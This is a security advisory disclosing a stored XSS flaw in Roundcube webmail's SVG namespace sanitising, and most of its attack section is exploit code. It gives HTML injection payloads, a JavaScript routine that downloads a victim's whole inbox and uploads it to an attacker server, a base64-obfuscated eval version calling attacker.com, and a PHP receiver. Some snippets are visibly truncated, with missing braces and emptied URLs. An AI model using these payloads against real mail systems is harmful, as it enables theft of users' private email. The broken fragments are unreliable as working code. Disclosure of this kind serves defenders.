SSD Advisory – Roundcube Incoming Emails Stored XSS


Find out how we exploited Roundcube webmail application and crafted an email containing malicious HTML that execute arbitrary JavaScript code in the context of the vulnerable user’s inbox.

Vulnerability Summary

Roundcube webmail is a browser-based multilingual IMAP client with an application-like user interface.
An input sanitization vulnerability in Roundcube can be exploited to perform a stored cross-site scripting (XSS) attacks.




An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Roundcube versions:
– 1.3.8
– 1.3.9
– 1.4 (current main branch)

Vendor Response

The vendor acknowledges the vulnerability and fixed it, see vendor advisory for more details:

Vulnerability Details

Roundcube uses a custom version of Washtml (a HTML sanitizer) to display untrusted HTML in email messages. One of the modifications adds the SVG supportsvg-support, in particular, an exception has been added in rcube_washtml.php for the svg tag to properly handle XML namespaces (dumpHtml function):

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $dump .= ' ' . $ns->nodeName . '="' . $ns->nodeValue . '"';

This snippet uses an XPath query to list and add all the non-default XML namespaces of the root element of the HTML message to the svg tag as attributes. The vulnerable part here is that $ns->nodeName and $ns->nodeValue values are added to $dump without proper sanitization (e.g., htmlspecialchars).[svg-support]  Introduced in commit a1fdb205f824dee7fd42dda739f207abc85ce158.

There are a number of things to consider in order to manage to successfully inject arbitrary HTML code.

First, if the HTML message lacks the head tag (or alternatively a meta specifying the charset, in newer releases) then Roundcube appends a default preamble to the message; this is undesirable as the goal is to control the root element. (Also note that the svg tag itself cannot be the root element.)

Second, when at least one svg tag is present (and the <html string is not) the message is parsed using DOMDocument::loadXMLdom-node and that requires a valid XML document.

Finally, by taking into account that DOMDocument::loadXML decodes any HTML entity during the parsing, it is possible to use &quot; to escape the hard coded double quotes in the above snippet and &lt;/&gt; to escape the svg element altogether.

Since the namespaces are added to the svg tag, a simple way to exploit this vulnerability is to use the onload event:

<head xmlns="" onload="alert(document.domain)"><svg></svg></head>

The resulting HTML is:

<svg xmlns="" onload="alert(document.domain)" />

It is likewise possible to escape the svg tag entirely and inject a script tag:

<head xmlns=""><script>alert(document.domain)</script>"><svg></svg></head>

The resulting HTML is:

<svg xmlns=""><script>alert(document.domain)</script>" />

[dom-node]  In the above snippet $node is an instance of DOMNode.


Possibly one of the most effective ways to demonstrate the impact of this vulnerability is to exploit the zipdownload plugin (enabled by default) to fetch the whole inboxuid as a zipped MBOX file then upload it to a web server controlled by the attacker via a POST request:

(async () => {
    const uploadEndpoint = '';

    // download the whole inbox as a zip file
    const response = await fetch('?_task=mail&_action=plugin.zipdownload.messages', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'content-type': 'application/x-www-form-urlencoded'
        body: `_mbox=INBOX&_uid=*&_mode=mbox&_token=${rcmail.env.request_token}`

    // prepare the upload form
    const formData = new FormData();
    const inboxZip = await response.blob();
    formData.append('inbox', inboxZip, '');

    // send the zip file to the attacker
    return fetch(uploadEndpoint, {
        method: 'POST',
        mode: 'no-cors',
        body: formData

To avoid using HTML entities for & it is possible to encode everything with Base64. The final payload becomes:

<head xmlns="" onload="eval(atob('KGFzeW5jKCk9Pntjb25zdCB1cGxvYWRFbmRwb2ludD0iaHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3VwbG9hZC5waHAiO2NvbnN0IHJlc3BvbnNlPWF3YWl0IGZldGNoKCI/X3Rhc2s9bWFpbCZfYWN0aW9uPXBsdWdpbi56aXBkb3dubG9hZC5tZXNzYWdlcyIse21ldGhvZDoiUE9TVCIsY3JlZGVudGlhbHM6ImluY2x1ZGUiLGhlYWRlcnM6eyJjb250ZW50LXR5cGUiOiJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQifSxib2R5OmBfbWJveD1JTkJPWCZfdWlkPSomX21vZGU9bWJveCZfdG9rZW49JHtyY21haWwuZW52LnJlcXVlc3RfdG9rZW59YH0pO2NvbnN0IGZvcm1EYXRhPW5ldyBGb3JtRGF0YTtjb25zdCBpbmJveFppcD1hd2FpdCByZXNwb25zZS5ibG9iKCk7Zm9ybURhdGEuYXBwZW5kKCJpbmJveCIsaW5ib3haaXAsIklOQk9YLm1ib3guemlwIik7cmV0dXJuIGZldGNoKHVwbG9hZEVuZHBvaW50LHttZXRob2Q6IlBPU1QiLG1vZGU6Im5vLWNvcnMiLGJvZHk6Zm9ybURhdGF9KX0pKCk7Cg=='))"><svg></svg></head>

The POST request can be easily received by the built-in PHP web server, for example create an upload.php file with:

<?php<br>$file = $_FILES['inbox'];<br>move_uploaded_file($file['tmp_name'], $file['name']);

Then start the server with:

$ php -S

If the XSS is successfully triggered then a file is created in the current directory.[uid]  The _uid POST field can also be an array thus allowing to exfiltrate the inbox in chunks.